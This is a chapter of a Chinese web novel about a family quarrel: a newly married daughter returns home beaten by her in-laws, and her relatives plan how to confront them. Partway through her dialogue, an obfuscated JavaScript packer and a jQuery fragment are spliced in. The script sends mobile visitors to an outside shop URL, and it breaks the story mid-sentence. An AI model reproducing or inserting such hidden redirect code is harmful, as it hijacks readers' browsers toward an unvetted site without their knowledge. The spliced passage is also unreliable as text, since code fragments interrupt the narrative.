华咏贞捂着肿起来的半张脸回娘家,正逢华小姑上门作客。
前几个月华元璋受伤,温家赔了笔钱,而华长芳打这笔钱的主意,想把这钱“借”来给大儿子朱向发结婚用。当然,最后华长芳不仅没借到钱,还受了点“委屈”。
华长清就这么一个亲妹妹,吵闹归吵闹,有啥事还是会顶上的。
在华咏章不知道的情况下,两家早就重修旧好了。
八月底华家嫁女,华小姑一家全都来吃席了。
北城这一片的人家摆酒席,都是流水席,一般一家来俩人,再多难免叫人厌烦。
出一份份子钱,带了五六张嘴来吃,像话吗?
但华长芳是女方那边的近亲,杨四他爸妈忙着办婚礼,脚不沾地,知道这回事也拉不下脸说什么。
大喜的日子,这种姑奶奶得捧着,别挑事就阿弥陀佛了。
婚礼当天,男方那边的兄弟们闹婚,华长芳当时就站在门口,看热闹不嫌事大。
嫁出去的是她哥家的老二,不是华长芳吹,这是老华家最难缠的小闺女!她心里有微妙的妒意,她生了两个儿子,但凡她再多生个闺女出来,嫁的应当不比华咏贞差!
她当天就没打算挑事,不为别的,她嫂子的姐姐回来了。她们上次见面交手,还是六九年的时候,华家的小五那年三岁,华长芳回华家耀武扬威,嘲笑她嫂子郑雯一肚子女儿,生了个儿子还照顾不好。
华元璋从小就娇横,别的小孩一岁多能走路,他都五岁了还要人背着抱着,就不肯好好走路。
郑雯不能再生了,又怕孩子出事,整天走哪都恨不得把儿子绑身上。
有人能体谅她,也有人会当面嘲笑她,华长芳每次来看到她走哪都抱着儿子,都会笑的花枝乱颤的。
六九年的农忙过后,正是最热的天,金霏千里迢迢从辽城来,那年月连火车都停着,她为了来辽城,路上就用了大半个月。
当时金霏是来接郑老太太的,最后当然没接走,但是来一趟北城没白来,金霏带来的人把在华家耀武扬威欺负自己妹妹的华长芳按住好一顿打。
华长芳没什么见识,只是依稀听她哥说过这个大姨子家势力非常,那年月人人自危,她们家还能千里回北城,背景不可谓不深。
何况金霏说,她只管来欺负自己妹妹,只要她来,就十倍还回给她。
金家当年在北城就威名赫赫,说迁居辽城,不如说是回到本宗。
华长芳战战兢兢了许多年。好在金霏这些年都没再来北城了。
华咏贞婚礼的时候华长芳听她哥说要写信叫人来喝喜酒,她还撇撇嘴。
要不是辽城那边年年还往她哥家寄钱,她都以为金霏死了!
她都老的像换一个人似得了,金霏居然还是那副骄矜尊贵的模样,对华长芳来说,就一个感受:活见鬼!
华长芳深怕金霏再想起她,当天在杨家喝完喜酒,迅速携一家老小逃窜回朱家村了。好一阵,确定瘟神走了,她才敢到她哥这儿来。
刚好她嫂子也不在家!华长芳如鱼得水般的在华家掏吧掏吧,仓鼠搬家。
经常作案的人都知道,“凶手”喜欢重回作案现场。
华长芳一个十月来她哥家的次数频繁的郑雯都在心里犯嘀咕,感觉小姑子大约是吃错药了。但难得的小姑子不作妖不借钱,还非常罕见的来帮忙,虽然次次都是精准的踩着收尾的时候来的,但伸手不打笑脸人,郑雯也不好开口撵人,只得接待着呗。
这次赶上华咏贞受气回娘家,华长芳喜的当场吃瓜。
她这个人看不得别人过得比她好,甚至巴不得大家都过得不好,而且没有区别,她平等的看待所有人。就连她自己亲哥,华长清家一口水井,门前的秀水河,考上大学的女儿,全都让她喝醋三升!
凭什么?
她都没有!
她嫁给朱运来,其实在很多人看来算嫁的不错的了,朱运来虽然个子不高,相貌平平,但是有手艺,杀猪匠还是很吃香的,哪年哪月朱家也没短过肉食。
但是她婆婆从前就看不惯她,觉得她又懒又馋,没少收拾她。
华长芳盼着那老虔婆翘辫子,也觉得自己终于熬出头了!国庆的时候大儿子朱向发结婚了,媳妇自从进了门,她就这疼那痒,闻不了油烟味,一日三餐,杂七杂八,一并都推给儿媳妇了。
新进门的儿媳妇姓童,华长芳这几趟来她哥这,眉飞色舞的说起自己怎么整治儿媳妇小童的,听得华长清都侧目,叫她不要太过分。
郑雯更是生气。
她有三个女儿,都要做人家媳妇的,要是摊上小姑子这样的婆婆,可不是掉进火坑里了?
这边华长芳还在炫耀自己给儿媳妇定规矩,那边门一推,肿着半张脸的华咏贞就回家了。
郑雯这三个女儿里,其实最担心的是老大,华咏姝是她生的第一个孩子,新手妈妈,那真的是把大女儿当眼珠子看,到生老二的时候,已经对带孩子有经验了。
何况老二自小就霸道,吃啥都不会吃亏的。
万万没想到老二才嫁出去不到俩月,就吃了这样的苦!
华长清是生气,觉得杨家不像话,太没把他看在眼里了。
郑雯却是心疼孩子的,把华咏贞拉过来细细一看,好在就只有脸上肿着了。
华元璋还挺幸灾乐祸的:“我就说吧,你迟早叫你男人打。”
华长芳装模作样道:“这杨家太不是东西了!”
华咏贞眼神难看的略过她姑,落到弟弟头上,然后一个箭步冲上去,抬手就往他后脑勺盖上一巴掌。
“别人家的兄弟都是维护自己姐妹,就你不是个东西!我是你姐姐,你听听你说的是什么话?”
华元璋被她这一掌打得脑瓜子嗡嗡的,刚想跳起来还击就被他爸拉住了。
“别打了,一家子打来打去的,叫人看笑话!”华长清喝住儿子,又转向二女儿:“到底发生了什么事?你的脸谁打的?”
华咏贞简明扼要,讲了最近杨家的态势,最后总结:“我们想分家,他爹不肯,我不过说两句,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102279|131610||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他就打我,我肯定不吃亏,就还了一下,杨四也不帮我,还跟着打我……家里到底有没有人给我讨说法?”
华长清一拍桌子:“岂有此理!”
华长芳叉腰:“必须给他们点颜色瞧瞧!欺负到我们老华家头上了!”
华咏章回家的时候,华家已经摇好人了。
正好赶上周末,华长芳想把俩儿子都叫来,朱向发新婚燕尔,不想掺和,但是拗不过他妈。朱向前中考后考到了乡村高中,随后就听说小表妹华咏章考到镇一中了。少年人觉得有点抹不开面子,已经好久都不肯来舅舅家了。
是以当天只有姑父朱运来,表哥朱向发两个男性来了。
华家父子和朱家父子,真要说起来,和杨家四对四,没什么胜算。华长芳自告奋勇,觉得自己“巾帼不让须眉”,真要打起来她挠人的功夫也称得上一绝。
华咏贞感动不感动,华咏章不知道,但是她爹怪受用的,觉得到底是孩子亲姑姑。
华咏章回家就是为了围观这个事儿的,她知道,无论谁管华咏贞的婚事,都免不了要做“小丑”。
因为华咏贞这一闹是早和杨四商量好的,小两口想过自己独门独户的日子。这一局,说到底就是个局中局,而其中的变数是杨四。
-
华咏章回家时,大人们都定好计划了。
吃过早饭,大张旗鼓去杨家闹,叫他们给出说法来!
华咏章听着和上辈子差不多的走势,无奈的发声:“我有一个问题要问问二姐,你是想离婚吗?”
众人一静,大家原来只想拿回场子。
华咏贞脱口道:“我只想分家,不想离婚。”
“是,你不想离婚,可是现在大家闹哄哄的过去,把你挨的打打回去,然后呢?”华咏章内涵道:“就像姑姑经常来我家借钱,还不还,我们能怎么办呢?她可是亲姑姑,逢年过节还不是要走动……”
一句话,在场的几个长辈脸色几乎都变了。
华长清又气又心虚,华长芳看过来的双眼简直要凝成实质的刀剑来,朱运来脸上是既得利益者的尴尬和一点微不足道的羞愧。
郑雯倒还好,应该早麻木了。
偏偏华咏贞丝毫没觉得她说的有什么问题,还难得谦虚的问道:“是啊,哪该怎么办?”
华咏章耸耸肩:“想离婚就大张旗鼓的打过去,闹得人尽皆知,用舆论让他们杨家颜面扫地,让十里八村都知道他们欺负新媳妇,你这张脸就是最好的证明。”
但华咏章没说的是,华家一定不能大张旗鼓的去,去到丢人的一定是华家!
因为前世大家就是闹得气势汹汹,还纠结了一堆看热闹的乡邻,想用舆论为做筏子,结果门一打开,众人才发现华咏贞话没说尽。
她只说自己还了手,没说她把杨家老两口打的比她还接近猪头。
华咏章接着道:“不想离婚,就静悄悄的过去杨家谈判,真要打起来了……”
她顿了一下,瞧了瞧华咏贞的脸:“反正也打不起来。”